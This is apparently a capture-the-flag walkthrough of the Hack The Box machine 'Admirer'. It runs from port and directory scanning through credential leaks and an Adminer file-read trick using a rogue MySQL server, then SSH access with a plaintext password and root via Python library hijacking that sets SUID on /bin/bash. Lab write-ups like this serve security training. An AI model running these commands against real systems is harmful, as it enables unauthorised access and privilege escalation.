Admirer

Enumeration

As always, we start with the enumeration phase, in which we try to scan the machine looking for open ports and finding out services and versions of those opened ports.

The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:

nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.10.187 -oN allPorts

  • -sS use the TCP SYN scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.

  • --min-rate 5000 nmap will try to keep the sending rate at or above 5000 packets per second.

  • -p- scanning the entire port range, from 1 to 65535.

  • -T5 insane mode, it is the fastest mode of the nmap time template.

  • -Pn assume the host is online.

  • -n scan without reverse DNS resolution.

  • -oN save the scan result into a file, in this case the allports file.

Now that we know which ports are open, let's try to obtain the services and versions running on these ports. The following command will scan these ports more in depth and save the result into a file:

nmap -sC -sV -p21,22,80 10.10.10.134 -oN targeted

  • -sC performs the scan using the default set of scripts.

  • -sV enables version detection.

  • -oN save the scan result into file, in this case the targeted file.

The website just show some images.

If we take a look at the robots.txt file, we'll see that there is one disallowed directory called /admin-dir. Now we also know that the user waldo might be valid.

If we try to access it, we'll get a 403 Forbidden response.

Let's try to find hidden directories with gobuster.

gobuster dir -u https://10.10.10.187 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 200 -x txt -k

  • dir enumerates directories or files.

  • -u the target URL.

  • -w path to the wordlist.

  • -t number of current threads, in this case 200 threads.

  • -x file extensions to search for.

There is nothing interesting. We could also try to find subdirectories under the /admin-dir directory.

gobuster dir -u https://10.10.10.187/admin-dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 200 -x txt -k

  • dir enumerates directories or files.

  • -u the target URL.

  • -w path to the wordlist.

  • -t number of current threads, in this case 200 threads.

  • -x file extensions to search for.

And we see the contacts.txt file with information about some users.

And the credentials.txt file with some usernames and passwords.

Exploitation

As we can see, we have credentials for the FTP server, let's try those.

ftp 10.10.10.187

Now, let's list whats in the server.

ftp> ls

Let's transfer the html.tar.gz file to our machine.

ftp> get html.tar.gz

And extract it's content.

gzip -d html.tar.gz

tar -xf html.tar

Now we can see what looks like a backup of the website.

ls -l

If we inspect the files and directories, we'll find two more password on the index.php file and the utility-scripts/db_admin.php file.

cat index.php

cat utility-scripts/db_admin.php

But none of the passwords we have found is valid for the user waldo either for SSH or FTP logins. At this point I tried to access the utility-scripts/adminer.php directory with the browser, and I found an Adminer login page.

I started to search for any common vulnerabilities on Adminer, and I found this exploit, which allow me to read local files of the victim machine. The idea is to login with the Adminer page to our MySQL server, and then we'll be able to load local files from the victim machine. First, let's modify the MySQL configuration file, so remote access is enable.

nano /etc/mysql/mariadb.conf.d/50-server.cnf

Now, let's start the MySQL process.

service mysql start

Then, access MySQL as the root user.

mysql -u root

Create a new database called testdb.

create database testdb;

Create a new user called 'test'@'admirer.htb' with the test password.

create user 'test'@'admirer.htb' identified by 'test';

And grant all privileges on the testdb database to the 'test'@'admirer.htb' user.

grant all on testdb.* to 'test'@'admirer.htb';

flush privileges;

Now, let's use the testdb databases, and create a new table called xml with the data column.

use testdb;

create table xml(data varchar(1024));

Now, let's access the testdb databases with the 'test'@'admirer.htb' user from the Adminer login page.

Once logged in, go to the SQL command section. Now we could read files from the victim machine. Let's try to read the content of the index.php file of the website. To do that, execute the following query.

If now we check the xml table, we'll see the content of the index.php file, and we'll be able to see some other credentials.

select * from testdb.xml;

But this time, it seems like this password is valid for the waldo user. Then, we'll be able to grab the user flag.

sshpass -p '&<h5b~yK3F#{PaPB&dA}{H>' ssh waldo@10.10.10.187

Privilege Escalation

If we list the sudo privileges we'll see that we can execute a bash script, and set environment variables as the root user.

sudo -l

Let's see what the admin_tasks.sh script is doing.

cat /opt/scripts/admin_tasks.sh

The script has multiple functionalities, but one of them executes a python script called /opt/scripts/backup.py. Let's take a look at it.

cat /opt/scripts/backup.py

As we can see, the script is using the shutil library, but with the relative path. This allow us to do a library hijacking, so when we execute the script as the root user, a shutil script created by us will be executed and we'll be able to execute commands as root. First, let's create the shutil.py script in the /tmp directory, which will give the /bin/bash binary the SUID permission.

nano /tmp/shutil.py

Now, let's check PYTHONPATH environment variable.

python -c "import sys; print sys.path"

We have to add the /tmp directory.

export PYTHONPATH=/tmp

Let's check it now.

python -c "import sys; print sys.path"

If now we execute the bash script, using the sixth option, so we trigger the python script, it will execute our shutil.py script. But, we have to add the /tmp directory to the PYTHONPATH environment variable.

sudo PYTHONPATH=/tmp /opt/scripts/admin_tasks.sh

Now, the /bin/bash binary has the SUID permission set.

ls -l /bin/bash

Finally, all we have to do is execute bash with SUID permissions, and reap the harvest and take the root flag.

bash -p

Last updated

Was this helpful?